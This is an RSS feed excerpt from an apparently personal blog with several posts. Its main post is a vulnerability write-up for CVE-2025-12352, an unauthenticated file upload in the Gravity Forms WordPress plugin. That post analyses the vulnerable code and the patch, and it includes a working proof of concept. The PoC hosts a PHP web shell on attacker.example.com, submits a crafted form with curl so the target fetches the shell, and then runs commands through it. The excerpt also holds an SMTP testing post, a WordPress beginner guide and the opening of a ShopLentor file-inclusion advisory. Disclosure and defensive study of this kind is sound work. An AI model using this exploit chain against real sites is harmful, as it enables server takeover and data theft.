&lt;p&gt;Log email events inside your automation framework&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This helps keep your test emails clean and consistent.&lt;/p&gt;
&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;If you’re an SQA or Automation Engineer, you do &lt;strong&gt;not&lt;/strong&gt; need to pay for SMTP just to test email flows. These free providers — &lt;strong&gt;Brevo&lt;/strong&gt;, &lt;strong&gt;Resend&lt;/strong&gt;, and &lt;strong&gt;Maileroo&lt;/strong&gt; — give you everything needed for functional tests, automation pipelines, and even staging environments.&lt;/p&gt;
&lt;p&gt;The three-layer fallback system keeps you safe from rate limits and ensures uninterrupted testing across all your apps. It’s a simple setup that saves money, reduces friction, and keeps your test environments fully capable.&lt;/p&gt;
</content:encoded><atom:updated>2025-12-07T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>What Is WordPress? A Complete Beginner&apos;s Guide [2026]</title><link>https://hurayraiit.com/blog/so-what-is-wordpress/</link><guid isPermaLink="true">https://hurayraiit.com/blog/so-what-is-wordpress/</guid><description>A plain-English introduction to WordPress — what it is, the difference between WordPress.com and WordPress.org, and how to get started building your first site.</description><pubDate>Sun, 07 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As you already may have heard, WordPress is a CMS, a Content Management System (but it can be much more). It is free and open source. If you google WordPress, you may get confused by the search results. Here is a simple instruction to solve that confusion:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.com&quot;&gt;WordPress.com&lt;/a&gt; is NOT WordPress.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/&quot;&gt;WordPress.org&lt;/a&gt; is WordPress&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Everything you need to know is available in the website &lt;a href=&quot;https://wordpress.org/&quot;&gt;WordPress.org&lt;/a&gt;. From themes, plugins, documentations, news, and everything else. But I want to take a different approach. I will list some common questions I get asked about WordPress and provide answers to those. The answers might not be perfect, but these are what I know at the time of writing this article. I can update them later.&lt;/p&gt;
&lt;h3&gt;Question 01: How can I create a website using WordPress and explore it for free?&lt;/h3&gt;
&lt;p&gt;Answer:&lt;/p&gt;
&lt;p&gt;The answer to this question can be both simple and complex. In order to create a website using WordPress, you need a machine to run that website on, like a Ubuntu VPS, and a webserver like nginx or apache or openlitespeed, PHP and a database like MySQL or MariaDB, and so many more things.&lt;/p&gt;
&lt;p&gt;But we will not get into those. If you are familiar with platforms like Shopify: Shopify manages everything that I mentioned just now; from servers, to databases, to everything else needed and you as a user just have to create an account and start exploring. But with WordPress, you need to do that bit yourself.&lt;/p&gt;
&lt;p&gt;I will make it super easy for you. I am guessing that you already have a laptop or a desktop computer running Windows, MacOS or Linux. Just visit &lt;a href=&quot;https://localwp.com/&quot;&gt;LocalWP&lt;/a&gt; and download the tool for your specific operating system. Then install it. That&apos;s it!&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;After installation completes, create a new WordPress site by following the steps and access it from your browser. Here is a simplified video demonstrating the steps:&lt;/p&gt;
&lt;p&gt;Now that you can access the WordPress website from your browser, go ahead and explore the plugins, themes and everything else. You can find lots of tutorials online for this. However, the best resources for learning the basics of WordPress is here: &lt;a href=&quot;https://learn.wordpress.org/&quot;&gt;https://learn.wordpress.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;With WordPress, everything is free, there are 60,000+ plugins, themes, everything can be downloaded for free. Companies like WPDeveloper, where I work at, provides a free version of some plugins, but a paid premium version too, with advanced features. But most task can be completed with the free plugins alone. Just visit the &lt;a href=&quot;https://wordpress.org/plugins/&quot;&gt;plugin directory&lt;/a&gt; and the &lt;a href=&quot;https://wordpress.org/themes/&quot;&gt;theme directory&lt;/a&gt;.&lt;/p&gt;
</content:encoded><atom:updated>2025-12-07T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-12352: Arbitrary File Upload in Gravity Forms</title><link>https://hurayraiit.com/blog/cve-2025-12352-arbitrary-file-upload-in-gravity-forms/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-12352-arbitrary-file-upload-in-gravity-forms/</guid><description>CVE-2025-12352 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in Gravity Forms (≤ 2.9.20) enabling remote code execution.</description><pubDate>Sat, 06 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-12352&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated arbitrary file upload vulnerability in the &lt;a href=&quot;https://www.gravityforms.com/&quot;&gt;Gravity Forms&lt;/a&gt; WordPress plugin. It affects all versions up to and including 2.9.20. An unauthenticated attacker can upload any file — including a PHP web shell — directly to the WordPress uploads directory. On servers where &lt;code&gt;allow_url_fopen&lt;/code&gt; is enabled and PHP executes from the uploads directory, this leads to full remote code execution without any credentials.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gravity Forms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gravityforms&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-12352&quot;&gt;CVE-2025-12352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&amp;lt;= 2.9.20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2.9.21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;November 7, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Talal Nasraddeen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms/gravity-forms-2920-unauthenticated-arbitrary-file-upload-via-copy-post-image&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Gravity Forms plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to and including 2.9.20. The flaw is in &lt;code&gt;copy_post_image()&lt;/code&gt;, which copies files from a user-supplied URL to the WordPress media directory. It does not verify that the URL belongs to the plugin&apos;s own upload folder. When &lt;code&gt;allow_url_fopen&lt;/code&gt; is &lt;code&gt;On&lt;/code&gt; in PHP, an unauthenticated attacker can point this function at an external PHP script. The file is fetched and saved with no extension or MIME-type check — which can lead to remote code execution on the affected server.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Entry point — form submission POST handler&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a Gravity Forms form is submitted, the plugin reads the &lt;code&gt;gform_uploaded_files&lt;/code&gt; POST parameter (a JSON-encoded array) and stores its contents in the static &lt;code&gt;GFFormsModel::$uploaded_files&lt;/code&gt; global cache via &lt;code&gt;set_uploaded_files()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;forms_model.php&lt;/code&gt;, function &lt;code&gt;set_uploaded_files()&lt;/code&gt; (line ~8520)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static function set_uploaded_files( $form_id ) {
    $files = GFCommon::json_decode( rgpost( &apos;gform_uploaded_files&apos; ) );
    // ...
    foreach ( $files as $input_name =&amp;gt; &amp;amp;$input_files ) {
        // ...
        if ( isset( $file[&apos;url&apos;] ) ) {
            $file[&apos;url&apos;] = esc_url_raw( $file[&apos;url&apos;] );  // Only sanitizes, does NOT restrict to local URLs
        }
        // ...
    }
    self::$uploaded_files[ $form_id ] = $files;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;url&lt;/code&gt; key in &lt;code&gt;gform_uploaded_files&lt;/code&gt; is only sanitized with &lt;code&gt;esc_url_raw()&lt;/code&gt;, which cleans URL formatting but allows any valid URL — including external ones.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Field value retrieval — &lt;code&gt;get_submission_files()&lt;/code&gt; and &lt;code&gt;get_single_file_value()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/fields/class-gf-field-fileupload.php&lt;/code&gt;, line ~1050&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;} elseif ( ! empty( $files[&apos;existing&apos;][0][&apos;url&apos;] ) ) {
    if ( GFCommon::is_valid_url( $files[&apos;existing&apos;][0][&apos;url&apos;] ) ) {
        GFCommon::log_debug( __METHOD__ . &apos;(): Saving provided URL, not uploading file.&apos; );
        $value = $files[&apos;existing&apos;][0][&apos;url&apos;];   // External URL saved with NO extension check
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;GFCommon::is_valid_url()&lt;/code&gt; only confirms the string is a well-formed URL. It does not check whether the URL points to an allowed file type or whether it is local to the site.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Post data assembly — &lt;code&gt;get_post_data_for_save()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;forms_model.php&lt;/code&gt;, line ~4819&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;case &apos;post_image&apos;:
    $ary  = ! empty( $value ) ? explode( &apos;|:|&apos;, $value ) : array();
    $url  = count( $ary ) &amp;gt; 0 ? $ary[0] : &apos;&apos;;
    // ...
    array_push( $images, array( &apos;field_id&apos; =&amp;gt; $field-&amp;gt;id, &apos;url&apos; =&amp;gt; $url, ... ) );
    break;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The URL (which may now be an external PHP file URL) is assembled into the &lt;code&gt;post_data[&apos;images&apos;]&lt;/code&gt; array.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Post creation — &lt;code&gt;create_post()&lt;/code&gt; calls &lt;code&gt;media_handle_upload()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;forms_model.php&lt;/code&gt;, line ~5220&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$media_id = self::media_handle_upload( $image[&apos;url&apos;], $post_id, $image_meta );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The vulnerable sink — &lt;code&gt;copy_post_image()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;forms_model.php&lt;/code&gt;, line 5451 (vulnerable version tag &lt;code&gt;2.9.20&lt;/code&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static function copy_post_image( $url, $post_id ) {
    // ...
    $name     = wp_basename( $url );              // Derives filename from attacker-controlled URL
    $filename = wp_unique_filename( $upload_dir[&apos;path&apos;], $name );
    $new_file = $upload_dir[&apos;path&apos;] . &quot;/$filename&quot;;

    // Source path — NO check that $url belongs to GF uploads directory
    $upload_root_info = GF_Field_FileUpload::get_upload_root_info( $form_id );
    $path = str_replace( $upload_root_info[&apos;url&apos;], $upload_root_info[&apos;path&apos;], $url );
    // If $url is an external URL, str_replace changes nothing; $path remains the external URL

    if ( ! copy( $path, $new_file ) ) {   // PHP copy() fetches the remote URL when allow_url_fopen=On
        return false;
    }
    // ... no file type/extension validation before or after copy
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;copy_post_image()&lt;/code&gt; function accepts the &lt;code&gt;$url&lt;/code&gt; argument without checking where it comes from. It tries to convert the URL to a local path using &lt;code&gt;str_replace()&lt;/code&gt;. But if the URL does not start with the GF upload root URL, &lt;code&gt;str_replace()&lt;/code&gt; changes nothing — and &lt;code&gt;$path&lt;/code&gt; stays as the external URL. PHP&apos;s native &lt;code&gt;copy()&lt;/code&gt; function can fetch remote URLs as its source when &lt;code&gt;allow_url_fopen&lt;/code&gt; is enabled in &lt;code&gt;php.ini&lt;/code&gt;. This lets it download and save any remote file to the uploads directory, with no extension or MIME-type check.&lt;/p&gt;
&lt;h3&gt;Bypassed Security Controls&lt;/h3&gt;
&lt;p&gt;The regular Gravity Forms file upload flow does enforce extension and MIME-type validation via &lt;code&gt;GFCommon::check_type_and_ext()&lt;/code&gt; and &lt;code&gt;GFCommon::file_name_has_disallowed_extension()&lt;/code&gt;. However, these checks apply only to files submitted via &lt;code&gt;$_FILES&lt;/code&gt; (direct HTTP file upload). The &lt;code&gt;copy_post_image()&lt;/code&gt; code path is a separate, internal mechanism designed to copy an already-uploaded image into the WordPress media library. No check was ever added to block URLs coming from outside the plugin&apos;s own upload directory.&lt;/p&gt;
&lt;p&gt;The attacker submits the &lt;code&gt;url&lt;/code&gt; key inside &lt;code&gt;gform_uploaded_files&lt;/code&gt; in the POST body. Gravity Forms treats this as a &quot;dynamically populated&quot; or &quot;previously uploaded&quot; file URL. That code path skips all file type validation.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can upload a PHP web shell (or any other executable file) to the WordPress uploads directory. Many servers run PHP from the uploads directory unless an &lt;code&gt;.htaccess&lt;/code&gt; rule blocks it. In that case, the attacker gains unauthenticated Remote Code Execution (RCE): full server compromise, data theft, backdoor installation, or site defacement.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the Gravity Forms plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 2.9.20&lt;/li&gt;
&lt;li&gt;A form with &lt;strong&gt;post creation&lt;/strong&gt; enabled (form settings → &quot;Create Post&quot;) and a &lt;strong&gt;Post Image&lt;/strong&gt; field added&lt;/li&gt;
&lt;li&gt;PHP server configuration: &lt;code&gt;allow_url_fopen = On&lt;/code&gt; (the default in many hosting environments)&lt;/li&gt;
&lt;li&gt;A web shell file hosted at an attacker-controlled URL&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify a form ID with post creation and a Post Image field&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Inspect the page source of any page containing a Gravity Forms form. Find the form ID from the hidden input or the form&apos;s &lt;code&gt;data-formid&lt;/code&gt; attribute. Also find the Post Image field ID (the &lt;code&gt;input_N&lt;/code&gt; name where N is the field ID).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Example: form ID is 1, post image field ID is 3
# The input name for the post image field would be: input_3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Host a PHP web shell at an attacker-controlled URL&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# On your attacker server (e.g., http://attacker.example.com/shell.php):
echo &apos;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&apos; &amp;gt; shell.php
python3 -m http.server 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Submit the form with a crafted &lt;code&gt;gform_uploaded_files&lt;/code&gt; parameter&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Replace &lt;code&gt;SITE_URL&lt;/code&gt;, &lt;code&gt;FORM_ID&lt;/code&gt;, &lt;code&gt;NONCE&lt;/code&gt;, and field ID values as appropriate. The &lt;code&gt;gform_uploaded_files&lt;/code&gt; JSON tells Gravity Forms that a file has already been uploaded at the external shell URL.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://TARGET_SITE/wp-admin/admin-ajax.php&quot; \
  -d &apos;action=gform_get_form_filter&apos; \
  --cookie &quot;&quot; 2&amp;gt;/dev/null

# First, fetch the form page to get the nonce and form fields:
curl -s &quot;https://TARGET_SITE/the-page-with-the-form/&quot; -o form_page.html

# Extract the nonce value from the response:
grep -oP &apos;gform_ajax_frame_[^&quot;]+&apos; form_page.html | head -1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Submit the crafted form&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://TARGET_SITE/&quot; \
  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \
  --data-urlencode &apos;gform_submit=1&apos; \
  --data-urlencode &apos;is_submit_1=1&apos; \
  --data-urlencode &apos;gform_unique_id=exploit-test&apos; \
  --data-urlencode &apos;state_1=[]&apos; \
  --data-urlencode &apos;gform_target_page_number_1=0&apos; \
  --data-urlencode &apos;gform_source_page_number_1=1&apos; \
  --data-urlencode &apos;gform_field_values=&apos; \
  --data-urlencode &apos;input_3=&apos; \
  --data-urlencode &apos;gform_uploaded_files={&quot;input_3&quot;:[{&quot;url&quot;:&quot;http://attacker.example.com/shell.php&quot;,&quot;id&quot;:&quot;aaaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&quot;}]}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Locate the uploaded shell in the media library&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After a successful form submission, Gravity Forms creates a post with the copied image as its featured media. The copied file will appear in:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/wp-content/uploads/YYYY/MM/shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exact URL can be found in the WordPress media library or by browsing the uploads directory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Execute commands via the uploaded web shell&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;https://TARGET_SITE/wp-content/uploads/2025/11/shell.php?cmd=id&quot;
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The PHP web shell &lt;code&gt;shell.php&lt;/code&gt; is stored in the WordPress uploads directory and is executable by the web server, giving the attacker unauthenticated remote code execution on the target host.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm successful exploitation by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Checking the WordPress Media Library for a new attachment with the name &lt;code&gt;shell.php&lt;/code&gt; (or &lt;code&gt;shell-1.php&lt;/code&gt;, etc.)&lt;/li&gt;
&lt;li&gt;Issuing a GET request to the uploaded shell URL with a &lt;code&gt;cmd&lt;/code&gt; parameter and receiving OS command output&lt;/li&gt;
&lt;li&gt;Running &lt;code&gt;SELECT * FROM wp_posts WHERE post_mime_type = &apos;application/x-php&apos; LIMIT 5;&lt;/code&gt; against the database to confirm the attachment was registered&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The fix was introduced in &lt;strong&gt;Gravity Forms 2.9.21&lt;/strong&gt;. The only changed file is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;forms_model.php&lt;/code&gt; — &lt;code&gt;copy_post_image()&lt;/code&gt; function&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch adds two guards before the &lt;code&gt;copy()&lt;/code&gt; call:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;URL origin check&lt;/strong&gt; — the supplied URL must start with the GF upload root URL. External URLs are rejected immediately.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local file existence check&lt;/strong&gt; — the resolved local path must exist on disk before the copy runs.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These two guards together completely close the attack surface: external URLs are rejected, and only files already present in the GF upload directory can be processed.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- forms_model.php (2.9.20 — vulnerable)
+++ forms_model.php (2.9.21 — patched)

@@ -5490,7 +5490,13 @@ private static function copy_post_image( $url, $post_id ) {

     // the source path
     $upload_root_info = GF_Field_FileUpload::get_upload_root_info( $form_id );
-    $path             = str_replace( $upload_root_info[&apos;url&apos;], $upload_root_info[&apos;path&apos;], $url );
+    if ( ! str_starts_with( $url, $upload_root_info[&apos;url&apos;] ) ) {
+        return false;
+    }
+
+    $path = str_replace( $upload_root_info[&apos;url&apos;], $upload_root_info[&apos;path&apos;], $url );
+    if ( ! file_exists( $path ) ) {
+        return false;
+    }

     // copy the file to the destination path
     if ( ! copy( $path, $new_file ) ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix is precise and complete. It addresses the root cause directly rather than attempting to block specific file extensions or MIME types. There are no known residual risks from this specific change.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Talal Nasraddeen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 7, 2025&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 7, 2025&lt;/td&gt;
&lt;td&gt;Patched version 2.9.21 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;gravityforms&lt;/code&gt; plugin to version &lt;strong&gt;2.9.21&lt;/strong&gt; or later immediately. If you cannot update right away, disable any forms that have post creation enabled with a Post Image field. As an alternative, restrict those forms to authenticated users only.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms/gravity-forms-2920-unauthenticated-arbitrary-file-upload-via-copy-post-image&quot;&gt;Wordfence Advisory — Gravity Forms &amp;lt;= 2.9.20 Unauthenticated Arbitrary File Upload via copy_post_image&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-12352&quot;&gt;CVE-2025-12352 — NVD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8ff8-c7j7-c996&quot;&gt;CVE-2025-12352 — GitHub Advisory Database&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-9-20-unauthenticated-arbitrary-file-upload-via-copy-post-image-vulnerability&quot;&gt;Patchstack Advisory — Gravity Forms 2.9.20 Unauthenticated Arbitrary File Upload via copy_post_image&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pronamic/gravityforms/blob/06de1b7e169e4f073e9d0d491e17b89365b48c20/forms_model.php#L5451&quot;&gt;Vulnerable code — forms_model.php line 5451 (pronamic/gravityforms mirror)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pronamic/gravityforms/blob/06de1b7e169e4f073e9d0d491e17b89365b48c20/includes/fields/class-gf-field-fileupload.php#L306&quot;&gt;File upload class reference — class-gf-field-fileupload.php line 306&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2025-12-06T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-12493: Local PHP File Inclusion in ShopLentor</title><link>https://hurayraiit.com/blog/cve-2025-12493-local-php-file-inclusion-in-shoplentor/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-12493-local-php-file-inclusion-in-shoplentor/</guid><description>CVE-2025-12493: CVSS 9.8 unauthenticated local PHP file inclusion in ShopLentor &lt;=3.2.5 lets attackers execute arbitrary PHP code on the server.</description><pubDate>Fri, 05 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-12493&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated local PHP file inclusion vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/woolentor-addons/&quot;&gt;ShopLentor – WooCommerce Builder for Elementor &amp;amp; Gutenberg +21 Modules&lt;/a&gt; WordPress plugin. Any site visitor can extract a public nonce from the page source. With that nonce, they can call the &lt;code&gt;woolentor_load_more_products&lt;/code&gt; AJAX action and pass a path-traversal value in the &lt;code&gt;style&lt;/code&gt; parameter. This lets them include and run arbitrary &lt;code&gt;.php&lt;/code&gt; files on the server — achieving full remote code execution.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ShopLentor – WooCommerce Builder for Elementor &amp;amp; Gutenberg +21 Modules – All in One Solution (formerly WooLentor)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;woolentor-addons&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-12493&quot;&gt;CVE-2025-12493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Local PHP File Inclusion via &lt;code&gt;load_template&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
